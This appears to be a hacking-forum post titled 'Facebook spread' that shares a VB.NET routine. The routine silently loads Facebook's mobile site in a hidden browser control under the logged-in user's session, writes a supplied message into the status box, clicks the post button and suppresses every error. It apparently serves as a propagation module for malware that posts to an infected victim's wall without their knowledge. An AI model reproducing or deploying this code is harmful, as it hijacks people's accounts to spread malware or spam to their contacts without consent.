.NET [TuT][HOT][VB.NET] Facebook spread [VB.NET][HOT][TuT]

Code
Public Sub FBWall(ByVal message As String)

    If (Me.TextBox26.Text = "1") Then

        Try 

            Dim enumerator As IEnumerator

            Dim enumerator2 As IEnumerator

            Dim browser As New WebBrowser

            browser.Navigate("http://m.facebook.com/home.php?")

            Do While (browser.ReadyState <> WebBrowserReadyState.Complete)

                Application.DoEvents

            Loop

            Try 

                enumerator = browser.Document.All.GetEnumerator

                Do While enumerator.MoveNext

                    Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)

                    If (current.GetAttribute("name") = "status") Then

                        current.SetAttribute("value", message)

                    End If

                Loop

            Finally

                If TypeOf enumerator Is IDisposable Then

                    TryCast(enumerator,IDisposable).Dispose

                End If

            End Try

            Try 

                enumerator2 = browser.Document.All.GetEnumerator

                Do While enumerator2.MoveNext

                    Dim element2 As HtmlElement = DirectCast(enumerator2.Current, HtmlElement)

                    If (element2.GetAttribute("name") = "update") Then

                        element2.InvokeMember("click")

                    End If

                Loop

            Finally

                If TypeOf enumerator2 Is IDisposable Then

                    TryCast(enumerator2,IDisposable).Dispose

                End If

            End Try

        Catch exception1 As Exception

            ProjectData.SetProjectError(exception1)

            ProjectData.ClearProjectError

        End Try

    End If

End Sub